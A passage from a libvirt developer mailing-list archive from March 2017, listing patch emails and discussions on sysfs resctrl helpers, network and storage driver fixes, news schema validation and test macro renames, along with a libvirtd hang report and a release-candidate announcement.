tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index2/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index3/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index0/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index1/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index2/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index3/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index0/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index1/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index2/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index3/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index0/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index1/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index2/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index3/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index0/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index1/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index2/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index3/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index0/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index1/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index2/id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index3/id -- 2.12.2

2 27

[libvirt] [PATCH 0/2] Two simple network improvements
by Michal Privoznik 31 Mar '17

31 Mar '17

The first is an improvement, the second is actually a bug fix. Michal Privoznik (2): networkUpdateState: Create virMacMap module more frequently network: Don't crash on domain destroy src/network/bridge_driver.c | 24 +++++++++++------------- 1 file changed, 11 insertions(+), 13 deletions(-) -- 2.11.0

3 11

[libvirt] libvirt 2.3.0 and later versions hanging
by Paul Gildea 31 Mar '17

31 Mar '17

Hi, I am starting a libvritd process when booting up an embedded networking system via python, like so: subprocess.Popen(["libvirtd","-d"],stdout=subprocess.PIPE,stderr=subprocess.PIPE) This runs and works fine for version 1.2.20. However after I upgraded to 2.3.0 I started noticing an intermittent bug. Sometimes my CLI will hang when libvirtd is starting (most of the time it starts fine). I ssh'd in and had a look around. libvirtd had a second process entry: [root@trx-r2 log]# ps ax | grep libvirt 826 ? Sl 0:00 libvirtd -d 843 ? S 0:00 libvirtd -d 869 pts/0 S+ 0:00 grep libvirt Using strace I could see the second entry was blocking (FUTEX). Kill libvirtd processes and the boot continues as normal. I updated libvirt to the latest version and this still happens. To confirm I downgraded to 1.2.20 again and everything works smoothly. Any idea of what may have changed to cause this, pointers for me as to where to have a look? Thanks, -- Paul

2 1

[libvirt] [PATCH V2 1/2] util: Add more virsysfs functions for handling resctrl sysfs
by Eli Qiao 31 Mar '17

31 Mar '17

Extended /sys/fs/resctrl sysfs handling. Signed-off-by: Eli Qiao <liyong.qiao(a)intel.com> --- src/libvirt_private.syms | 11 ++++- src/util/virsysfs.c | 102 ++++++++++++++++++++++++++++++++++++++++++++++- src/util/virsysfs.h | 16 ++++++++ src/util/virsysfspriv.h | 1 + 4 files changed, 128 insertions(+), 2 deletions(-) diff --git a/src/libvirt_private.syms b/src/libvirt_private.syms index b551cb8..b03ad5b 100644 --- a/src/libvirt_private.syms +++ b/src/libvirt_private.syms @@ -2388,6 +2388,10 @@ virRandomGenerateWWN; virRandomInt; +# util/virresctrl.h +virResCtrlAvailable; +virResCtrlInit; + # util/virrotatingfile.h virRotatingFileReaderConsume; virRotatingFileReaderFree; @@ -2626,13 +2630,18 @@ virSysfsGetCpuValueString; virSysfsGetCpuValueUint; virSysfsGetNodeValueBitmap; virSysfsGetNodeValueString; +virSysfsGetResctrlInfoString; +virSysfsGetResctrlInfoUint; +virSysfsGetResctrlPath; +virSysfsGetResctrlString; +virSysfsGetResctrlUint; virSysfsGetSystemPath; virSysfsGetValueBitmap; virSysfsGetValueInt; virSysfsGetValueString; +virSysfsSetResctrlPath; virSysfsSetSystemPath; - # util/virsysinfo.h virSysinfoBaseBoardDefClear; virSysinfoBIOSDefFree; diff --git a/src/util/virsysfs.c b/src/util/virsysfs.c index 7a98b48..97808be 100644 --- a/src/util/virsysfs.c +++ b/src/util/virsysfs.c @@ -36,8 +36,10 @@ VIR_LOG_INIT("util.sysfs"); #define VIR_SYSFS_VALUE_MAXLEN 8192 #define SYSFS_SYSTEM_PATH "/sys/devices/system" +#define SYSFS_RESCTRL_PATH "/sys/fs/resctrl" static const char *sysfs_system_path = SYSFS_SYSTEM_PATH; +static const char *sysfs_resctrl_path = SYSFS_RESCTRL_PATH; void virSysfsSetSystemPath(const char *path) @@ -48,13 +50,26 @@ void virSysfsSetSystemPath(const char *path) sysfs_system_path = SYSFS_SYSTEM_PATH; } - const char * virSysfsGetSystemPath(void) { return sysfs_system_path; } +void virSysfsSetResctrlPath(const char *path) +{ + if (path) + sysfs_resctrl_path = path; + else + sysfs_resctrl_path = SYSFS_RESCTRL_PATH; +} + +const char * +virSysfsGetResctrlPath(void) +{ + return sysfs_resctrl_path; +} + int virSysfsGetValueInt(const char *file, int *value) @@ -227,3 +242,88 @@ virSysfsGetNodeValueBitmap(unsigned int node, VIR_FREE(path); return ret; } + +int +virSysfsGetResctrlString(const char* file, + char **value) +{ + char *path = NULL; + int ret = -1; + if (virAsprintf(&path, "%s/%s", sysfs_resctrl_path, file) < 0) + return -1; + + if (!virFileExists(path)) { + ret = -2; + goto cleanup; + } + + if (virFileReadAll(path, VIR_SYSFS_VALUE_MAXLEN, value) < 0) + goto cleanup; + + ret = 0; + + cleanup: + VIR_FREE(path); + return ret; +} + +int +virSysfsGetResctrlUint(const char* file, + unsigned int *value) +{ + char *path = NULL; + int ret = -1; + if (virAsprintf(&path, "%s/%s", sysfs_resctrl_path, file) < 0) + return -1; + + if (!virFileExists(path)) { + ret = -2; + goto cleanup; + } + + ret = virFileReadValueUint(path, value); + + cleanup: + VIR_FREE(path); + return ret; +} + +int +virSysfsGetResctrlInfoString(const char* file, + char **value) +{ + char *path = NULL; + int ret = -1; + if (virAsprintf(&path, "%s/info/%s", sysfs_resctrl_path, file) < 0) + return -1; + + if (!virFileExists(path)) { + ret = -2; + goto cleanup; + } + + if (virFileReadAll(path, VIR_SYSFS_VALUE_MAXLEN, value) < 0) + goto cleanup; + + ret = 0; + + cleanup: + VIR_FREE(path); + return ret; +} + +int +virSysfsGetResctrlInfoUint(const char *file, + unsigned int *value) +{ + char *path = NULL; + int ret = -1; + + if (virAsprintf(&path, "%s/info/%s", sysfs_resctrl_path, file) < 0) + return -1; + + ret = virFileReadValueUint(path, value); + + VIR_FREE(path); + return ret; +} diff --git a/src/util/virsysfs.h b/src/util/virsysfs.h index cd871ff..af1e786 100644 --- a/src/util/virsysfs.h +++ b/src/util/virsysfs.h @@ -25,6 +25,7 @@ # include "virbitmap.h" const char * virSysfsGetSystemPath(void); +const char * virSysfsGetResctrlPath(void); int virSysfsGetValueInt(const char *file, @@ -67,4 +68,19 @@ virSysfsGetNodeValueBitmap(unsigned int cpu, const char *file, virBitmapPtr *value); +int +virSysfsGetResctrlString(const char* file, + char **value); + +int +virSysfsGetResctrlUint(const char* file, + unsigned int *value); + +int +virSysfsGetResctrlInfoString(const char* file, + char **value); + +int +virSysfsGetResctrlInfoUint(const char *file, + unsigned int *value); #endif /* __VIR_SYSFS_H__*/ diff --git a/src/util/virsysfspriv.h b/src/util/virsysfspriv.h index ae9f54a..bf36082 100644 --- a/src/util/virsysfspriv.h +++ b/src/util/virsysfspriv.h @@ -24,5 +24,6 @@ # include "virsysfs.h" void virSysfsSetSystemPath(const char *path); +void virSysfsSetResctrlPath(const char *path); #endif /* __VIR_SYSFS_PRIV_H__*/ -- 1.9.1

3 4

[libvirt] [PATCH] admin: Throw a system error when 'open' fails on user-provided output
by Erik Skultety 31 Mar '17

31 Mar '17

There was an unhandled 'open' call which resulted in: "error: Library function returned error but did not set virError" Even if this happens during the daemon's start when we still don't have any set of outputs defined yet, we can safely report an error, since we automatically fallback to stderr which is fine even for both running as a daemonized process, since this happens before the daemon forks into the background, and running as a systemd service, since systemd re-directs std outputs to journald by default. Resolves: https://bugzilla.redhat.com/show_bug.cgi?id=1436060 Signed-off-by: Erik Skultety <eskultet(a)redhat.com> --- src/util/virlog.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/util/virlog.c b/src/util/virlog.c index 7b584f8e37..7933e1a7a0 100644 --- a/src/util/virlog.c +++ b/src/util/virlog.c @@ -750,8 +750,10 @@ virLogNewOutputToFile(virLogPriority priority, virLogOutputPtr ret = NULL; fd = open(file, O_CREAT | O_APPEND | O_WRONLY, S_IRUSR | S_IWUSR); - if (fd < 0) + if (fd < 0) { + virReportSystemError(errno, _("failed to open %s"), file); return NULL; + } if (!(ret = virLogOutputNew(virLogOutputToFd, virLogCloseFd, (void *)(intptr_t)fd, -- 2.12.2

2 2

[libvirt] [GSOC] project libvirt fuzzing
by Da L 31 Mar '17

31 Mar '17

Dear all, This is my first post in the list. I am currently a graduate student studying computer science, particularly interested in visualization technologies and I have been using QEMU for a variety of projects for a while. Two of the courses that I am taking this semester really attracted me to the libvirt community are Advanced Operating Systems and Secure Software Development. I have been learning kernel fuzzing as well as other general fuzzing tools. Then I found the topic of "QEMU command line generator XML fuzzing" is pretty interesting and totally in line with my interest and background. Though I have read through the documentations on the website, just to make sure I am doing it correctly, could anyone confirm this project is still available? And what I need to do next in order to participate the project this summer? Do I need to find a mentor by myself? Potentially, I could find my OS or Security professor as my mentor, but I am not sure yet which would be the best way. Thanks, Dan

6 18

[libvirt] [PATCH v2 0/4] Add schema validation for news
by Peter Krempa 31 Mar '17

31 Mar '17

v2: - rename DO_TEST to DO_TEST_DIR along with changes in the first patch - add 'abs_srcdir' to the tested XML path so that vpath builds work - fix wording of the rules for adding news entries - fix commit messages Peter Krempa (4): tests: schema: Add possibility to validate individual files news: Introduce rules for the schema file and fix offending lines schema: Introduce schema for the news.xml file news: Add template for a <release> section docs/news.xml | 62 ++++++++++++++++++++++++++++++++--------- docs/schemas/news.rng | 73 ++++++++++++++++++++++++++++++++++++++++++++++++ tests/virschematest.c | 77 ++++++++++++++++++++++++++++++++------------------- 3 files changed, 171 insertions(+), 41 deletions(-) create mode 100644 docs/schemas/news.rng -- 2.12.1

2 7

[libvirt] [PATCH] news: Make changes understandable for users
by Martin Kletzander 31 Mar '17

31 Mar '17

When reading release notes, patch summary is not always the best description of what users can expect in new version. I propose changing it slightly so that it describes what exactly happens and when. However, we do not have to add every single code change to the news file, that would be ridiculous and unreadable for users. If the patch subject needs changes like this one, I'm rather tempted to say that such changes should not be in the news file at all. So that would be the other way how to fix this. Signed-off-by: Martin Kletzander <mkletzan(a)redhat.com> --- docs/news.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/news.xml b/docs/news.xml index eb0f2426be25..494c6489b9c5 100644 --- a/docs/news.xml +++ b/docs/news.xml @@ -706,7 +706,7 @@ </change> <change> <summary> - logical: Need to overwrite/clear more than just first 512 bytes + Overwrite (clear) 2 KB instead of just 512 bytes when initializing logical device </summary> </change> <change> -- 2.12.2

4 9

[libvirt] [PATCH] network: Drop unused networkRestartRadvd
by Michal Privoznik 30 Mar '17

30 Mar '17

Since its introduction in 1ce4922e720 this function lived as an outcast in an #if 0 block. Signed-off-by: Michal Privoznik <mprivozn(a)redhat.com> --- src/network/bridge_driver.c | 27 --------------------------- 1 file changed, 27 deletions(-) diff --git a/src/network/bridge_driver.c b/src/network/bridge_driver.c index 5ccd37a..ddd2a3a 100644 --- a/src/network/bridge_driver.c +++ b/src/network/bridge_driver.c @@ -1980,33 +1980,6 @@ networkRefreshRadvd(virNetworkDriverStatePtr driver, return kill(network->radvdPid, SIGHUP); } -#if 0 -/* currently unused, so it causes a build error unless we #if it out */ -static int -networkRestartRadvd(virNetworkObjPtr network) -{ - char *radvdpidbase; - - /* if there is a running radvd, kill it */ - if (network->radvdPid > 0) { - /* essentially ignore errors from the following two functions, - * since there's really no better recovery to be done than to - * just push ahead (and that may be exactly what's needed). - */ - if ((networkKillDaemon(network->radvdPid, "radvd", - network->def->name) >= 0) && - ((radvdpidbase = networkRadvdPidfileBasename(network->def->name)) - != NULL)) { - virPidFileDelete(driver->pidDir, radvdpidbase); - VIR_FREE(radvdpidbase); - } - network->radvdPid = -1; - } - /* now start radvd if it should be started */ - return networkStartRadvd(network); -} -#endif /* #if 0 */ - static int networkRefreshDaemonsHelper(virNetworkObjPtr net, void *opaque) -- 2.10.2

2 1

[libvirt] Entering freeze for libvirt-3.2.0
by Daniel Veillard 30 Mar '17

30 Mar '17

Hi all, as planned I tagged RC1 in git and pushed signed tarball and rpms to the usual place: ftp://libvirt.org/libvirt/ I had an issue with networking in my limited testing, without time to really dig it seems my guest image wasn't able to do DNS resolution, that could be an issue on my side though, and https://ci.centos.org/view/libvirt/ while not all green seems rather positive ! Please give it a try, I will probably push RC2 on Thursday, and assuming everything goes fine a release over the week-end, thanks ! Daniel -- Daniel Veillard | Red Hat Developers Tools http://developer.redhat.com/ veillard(a)redhat.com | libxml Gnome XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | virtualization library http://libvirt.org/

2 3

[libvirt] [PATCH 0/3] storage: remove inactive transient pools after restart
by Peter Krempa 30 Mar '17

30 Mar '17

Peter Krempa (3): storage: backend: Use correct stringifier for pool type storage: driver: Split out code fixing pool state after deactivation storage: driver: Remove unavailable transient pools after restart src/storage/storage_backend.c | 2 +- src/storage/storage_driver.c | 68 ++++++++++++++++++++++++++----------------- 2 files changed, 42 insertions(+), 28 deletions(-) -- 2.12.1

2 5

[libvirt] [PATCH] [libvirt-php] fix libvirt_stream_send/libvirt_stream_recv
by Vasiliy Tolstov 30 Mar '17

30 Mar '17

When php disable call pass time by reference this breaks libvirt_stream_recv and also bring more memory allocations from zend engine. Vasiliy Tolstov (1): fix libvirt_stream_send/libvirt_stream_recv src/libvirt-php.c | 36 ++++++++++++++++-------------------- 1 file changed, 16 insertions(+), 20 deletions(-) -- 2.9.3

2 4

[libvirt] [PATCH] [libvirt-php] allow to specify empty base and top
by Vasiliy Tolstov 30 Mar '17

30 Mar '17

allow to specify empty base and top to do active block commit Vasiliy Tolstov (1): allow to specify empty base and top for block commit src/libvirt-php.c | 22 ++++++++++++++-------- 1 file changed, 14 insertions(+), 8 deletions(-) -- 2.9.3

2 2

[libvirt] [PATCH 0/3] Fix gluster volume lookup of multiple volumes
by Peter Krempa 30 Mar '17

30 Mar '17

Fix the broken XPath and add tests. Peter Krempa (3): storage: util: Split out the gluster volume extraction code into new function test: Introduce testing of virStorageUtilGlusterExtractPoolSources storage: Fix XPath for looking up gluster volume name src/storage/storage_util.c | 93 +++++++++++-------- src/storage/storage_util.h | 4 + tests/Makefile.am | 15 ++- .../virstorageutildata/gluster-parse-basic-dst.xml | 6 ++ .../virstorageutildata/gluster-parse-basic-src.xml | 47 ++++++++++ .../gluster-parse-multivol-dst.xml | 14 +++ .../gluster-parse-multivol-src.xml | 32 +++++++ tests/virstorageutiltest.c | 103 +++++++++++++++++++++ 8 files changed, 272 insertions(+), 42 deletions(-) create mode 100644 tests/virstorageutildata/gluster-parse-basic-dst.xml create mode 100644 tests/virstorageutildata/gluster-parse-basic-src.xml create mode 100644 tests/virstorageutildata/gluster-parse-multivol-dst.xml create mode 100644 tests/virstorageutildata/gluster-parse-multivol-src.xml create mode 100644 tests/virstorageutiltest.c -- 2.12.1

1 4

[libvirt] [PATCH] qemuDomainSnapshotPrepare: Don't always assume vm->def->os.loader
by Michal Privoznik 30 Mar '17

30 Mar '17

In 9e2465834 a check that denies internal snapshots when pflash based loader is configured for the domain. However, if there's none and an user tries to do an internal snapshot they will witness daemon crash as in that case vm->def->os.loader is NULL and we dereference it unconditionally. Signed-off-by: Michal Privoznik <mprivozn(a)redhat.com> --- src/qemu/qemu_driver.c | 1 + 1 file changed, 1 insertion(+) diff --git a/src/qemu/qemu_driver.c b/src/qemu/qemu_driver.c index 40c2eab..3cc4f4d 100644 --- a/src/qemu/qemu_driver.c +++ b/src/qemu/qemu_driver.c @@ -13889,6 +13889,7 @@ qemuDomainSnapshotPrepare(virConnectPtr conn, * Avoid the issues by forbidding internal snapshot with pflash completely. */ if (found_internal && + vm->def->os.loader && vm->def->os.loader->type == VIR_DOMAIN_LOADER_TYPE_PFLASH) { virReportError(VIR_ERR_OPERATION_UNSUPPORTED, "%s", _("internal snapshots of a VM with pflash based " -- 2.10.2

2 1

[libvirt] [PATCH] tests: Rename VIRT_TEST_* macros to VIR_TEST_*
by Andrea Bolognani 30 Mar '17

30 Mar '17

We use the "vir" prefix pretty consistently in our APIs, both external and internal, which made these macros stood out. --- tests/bhyveargv2xmltest.c | 2 +- tests/bhyvexml2argvtest.c | 2 +- tests/bhyvexml2xmltest.c | 2 +- tests/commandtest.c | 2 +- tests/cputest.c | 2 +- tests/domaincapstest.c | 4 ++-- tests/domainconftest.c | 2 +- tests/domainsnapshotxml2xmltest.c | 2 +- tests/esxutilstest.c | 2 +- tests/eventtest.c | 2 +- tests/fchosttest.c | 2 +- tests/fdstreamtest.c | 2 +- tests/genericxml2xmltest.c | 2 +- tests/interfacexml2xmltest.c | 2 +- tests/jsontest.c | 2 +- tests/lxcconf2xmltest.c | 2 +- tests/lxcxml2xmltest.c | 2 +- tests/metadatatest.c | 2 +- tests/networkxml2conftest.c | 2 +- tests/networkxml2firewalltest.c | 2 +- tests/networkxml2xmltest.c | 2 +- tests/networkxml2xmlupdatetest.c | 2 +- tests/nodedevxml2xmltest.c | 2 +- tests/nsstest.c | 2 +- tests/nwfilterebiptablestest.c | 2 +- tests/nwfilterxml2firewalltest.c | 2 +- tests/nwfilterxml2xmltest.c | 2 +- tests/objecteventtest.c | 2 +- tests/openvzutilstest.c | 2 +- tests/qemuagenttest.c | 2 +- tests/qemuargv2xmltest.c | 2 +- tests/qemucapabilitiestest.c | 2 +- tests/qemucaps2xmltest.c | 2 +- tests/qemucapsprobe.c | 2 +- tests/qemucommandutiltest.c | 2 +- tests/qemuhelptest.c | 2 +- tests/qemuhotplugtest.c | 2 +- tests/qemumemlocktest.c | 2 +- tests/qemumonitorjsontest.c | 2 +- tests/qemumonitortest.c | 2 +- tests/qemuxml2argvtest.c | 2 +- tests/qemuxml2xmltest.c | 2 +- tests/scsihosttest.c | 2 +- tests/seclabeltest.c | 2 +- tests/secretxml2xmltest.c | 2 +- tests/securityselinuxlabeltest.c | 2 +- tests/securityselinuxtest.c | 2 +- tests/sexpr2xmltest.c | 2 +- tests/sockettest.c | 2 +- tests/storagebackendsheepdogtest.c | 2 +- tests/storagepoolxml2xmltest.c | 2 +- tests/storagevolxml2argvtest.c | 2 +- tests/storagevolxml2xmltest.c | 2 +- tests/sysinfotest.c | 2 +- tests/testutils.c | 4 ++-- tests/testutils.h | 6 +++--- tests/utiltest.c | 2 +- tests/vboxsnapshotxmltest.c | 2 +- tests/viralloctest.c | 2 +- tests/viratomictest.c | 2 +- tests/virauthconfigtest.c | 2 +- tests/virbitmaptest.c | 2 +- tests/virbuftest.c | 2 +- tests/vircaps2xmltest.c | 2 +- tests/vircapstest.c | 2 +- tests/vircgrouptest.c | 2 +- tests/virconftest.c | 2 +- tests/vircryptotest.c | 2 +- tests/virdbustest.c | 2 +- tests/virdrivermoduletest.c | 2 +- tests/virendiantest.c | 2 +- tests/virfiletest.c | 2 +- tests/virfirewalltest.c | 4 ++-- tests/virhashtest.c | 2 +- tests/virhostcputest.c | 2 +- tests/virhostdevtest.c | 2 +- tests/viridentitytest.c | 4 ++-- tests/viriscsitest.c | 2 +- tests/virkeycodetest.c | 2 +- tests/virkeyfiletest.c | 2 +- tests/virkmodtest.c | 2 +- tests/virlockspacetest.c | 2 +- tests/virlogtest.c | 2 +- tests/virmacmaptest.c | 2 +- tests/virnetdaemontest.c | 4 ++-- tests/virnetdevbandwidthtest.c | 2 +- tests/virnetdevtest.c | 2 +- tests/virnetmessagetest.c | 2 +- tests/virnetserverclienttest.c | 4 ++-- tests/virnetsockettest.c | 2 +- tests/virnettlscontexttest.c | 2 +- tests/virnettlssessiontest.c | 2 +- tests/virpcitest.c | 2 +- tests/virpolkittest.c | 2 +- tests/virportallocatortest.c | 2 +- tests/virrotatingfiletest.c | 2 +- tests/virschematest.c | 2 +- tests/virscsitest.c | 2 +- tests/virshtest.c | 2 +- tests/virstoragetest.c | 2 +- tests/virstringtest.c | 2 +- tests/virsystemdtest.c | 2 +- tests/virtimetest.c | 2 +- tests/virtypedparamtest.c | 2 +- tests/viruritest.c | 2 +- tests/virusbtest.c | 2 +- tests/vmwarevertest.c | 2 +- tests/vmx2xmltest.c | 2 +- tests/xencapstest.c | 2 +- tests/xlconfigtest.c | 2 +- tests/xmconfigtest.c | 2 +- tests/xml2sexprtest.c | 2 +- tests/xml2vmxtest.c | 2 +- 113 files changed, 121 insertions(+), 121 deletions(-) diff --git a/tests/bhyveargv2xmltest.c b/tests/bhyveargv2xmltest.c index e759e4f..08b2dfd 100644 --- a/tests/bhyveargv2xmltest.c +++ b/tests/bhyveargv2xmltest.c @@ -203,7 +203,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/bhyveargv2xmlmock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/bhyveargv2xmlmock.so") #else diff --git a/tests/bhyvexml2argvtest.c b/tests/bhyvexml2argvtest.c index 475e626..c8f8c68 100644 --- a/tests/bhyvexml2argvtest.c +++ b/tests/bhyvexml2argvtest.c @@ -235,7 +235,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/bhyvexml2argvmock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/bhyvexml2argvmock.so") #else diff --git a/tests/bhyvexml2xmltest.c b/tests/bhyvexml2xmltest.c index 3270fee..d591576 100644 --- a/tests/bhyvexml2xmltest.c +++ b/tests/bhyvexml2xmltest.c @@ -127,7 +127,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) #else diff --git a/tests/commandtest.c b/tests/commandtest.c index bfbf6a4..80f10f8 100644 --- a/tests/commandtest.c +++ b/tests/commandtest.c @@ -1305,6 +1305,6 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) #endif /* !WIN32 */ diff --git a/tests/cputest.c b/tests/cputest.c index 98f6623..b76db42 100644 --- a/tests/cputest.c +++ b/tests/cputest.c @@ -1012,4 +1012,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/domaincapstest.c b/tests/domaincapstest.c index 02cadf8..f871197 100644 --- a/tests/domaincapstest.c +++ b/tests/domaincapstest.c @@ -567,9 +567,9 @@ mymain(void) } #if WITH_QEMU -VIRT_TEST_MAIN_PRELOAD(mymain, +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/domaincapsmock.so", abs_builddir "/.libs/qemucpumock.so") #else -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/domaincapsmock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/domaincapsmock.so") #endif diff --git a/tests/domainconftest.c b/tests/domainconftest.c index 196e358..6e75269 100644 --- a/tests/domainconftest.c +++ b/tests/domainconftest.c @@ -113,4 +113,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/domainsnapshotxml2xmltest.c b/tests/domainsnapshotxml2xmltest.c index f5fec47..bb4d60f 100644 --- a/tests/domainsnapshotxml2xmltest.c +++ b/tests/domainsnapshotxml2xmltest.c @@ -230,7 +230,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) #else diff --git a/tests/esxutilstest.c b/tests/esxutilstest.c index e9c8d31..787da51 100644 --- a/tests/esxutilstest.c +++ b/tests/esxutilstest.c @@ -263,7 +263,7 @@ mymain(void) return result == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) #else diff --git a/tests/eventtest.c b/tests/eventtest.c index 03ab318..ea47fb0 100644 --- a/tests/eventtest.c +++ b/tests/eventtest.c @@ -528,4 +528,4 @@ mymain(void) return EXIT_SUCCESS; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/fchosttest.c b/tests/fchosttest.c index dc6b9af..ac4e929 100644 --- a/tests/fchosttest.c +++ b/tests/fchosttest.c @@ -380,4 +380,4 @@ mymain(void) return ret; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virrandommock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virrandommock.so") diff --git a/tests/fdstreamtest.c b/tests/fdstreamtest.c index 9c7d65b..4605845 100644 --- a/tests/fdstreamtest.c +++ b/tests/fdstreamtest.c @@ -342,4 +342,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/genericxml2xmltest.c b/tests/genericxml2xmltest.c index 4881902..1cda18c 100644 --- a/tests/genericxml2xmltest.c +++ b/tests/genericxml2xmltest.c @@ -106,4 +106,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/interfacexml2xmltest.c b/tests/interfacexml2xmltest.c index 5e3525e..1a1a919 100644 --- a/tests/interfacexml2xmltest.c +++ b/tests/interfacexml2xmltest.c @@ -98,4 +98,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/jsontest.c b/tests/jsontest.c index 8e44f1a..b67f68c 100644 --- a/tests/jsontest.c +++ b/tests/jsontest.c @@ -451,4 +451,4 @@ mymain(void) return (ret == 0) ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/lxcconf2xmltest.c b/tests/lxcconf2xmltest.c index 779b590..d2f1c1d 100644 --- a/tests/lxcconf2xmltest.c +++ b/tests/lxcconf2xmltest.c @@ -127,7 +127,7 @@ mymain(void) return ret; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) #else diff --git a/tests/lxcxml2xmltest.c b/tests/lxcxml2xmltest.c index 2f7f779..226a73d 100644 --- a/tests/lxcxml2xmltest.c +++ b/tests/lxcxml2xmltest.c @@ -105,7 +105,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) #else diff --git a/tests/metadatatest.c b/tests/metadatatest.c index 55dc841..aed8e5a 100644 --- a/tests/metadatatest.c +++ b/tests/metadatatest.c @@ -308,4 +308,4 @@ mymain(void) return ret; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/networkxml2conftest.c b/tests/networkxml2conftest.c index e2522fc..ab3c13a 100644 --- a/tests/networkxml2conftest.c +++ b/tests/networkxml2conftest.c @@ -151,4 +151,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/networkxml2firewalltest.c b/tests/networkxml2firewalltest.c index f3a501a..58a9516 100644 --- a/tests/networkxml2firewalltest.c +++ b/tests/networkxml2firewalltest.c @@ -147,7 +147,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) #else /* ! defined (__linux__) */ diff --git a/tests/networkxml2xmltest.c b/tests/networkxml2xmltest.c index effd85a..ea1a089 100644 --- a/tests/networkxml2xmltest.c +++ b/tests/networkxml2xmltest.c @@ -164,4 +164,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/networkxml2xmlupdatetest.c b/tests/networkxml2xmlupdatetest.c index 7b01abc..1cbd811 100644 --- a/tests/networkxml2xmlupdatetest.c +++ b/tests/networkxml2xmlupdatetest.c @@ -363,4 +363,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/nodedevxml2xmltest.c b/tests/nodedevxml2xmltest.c index 5e1ae17..f023d8a 100644 --- 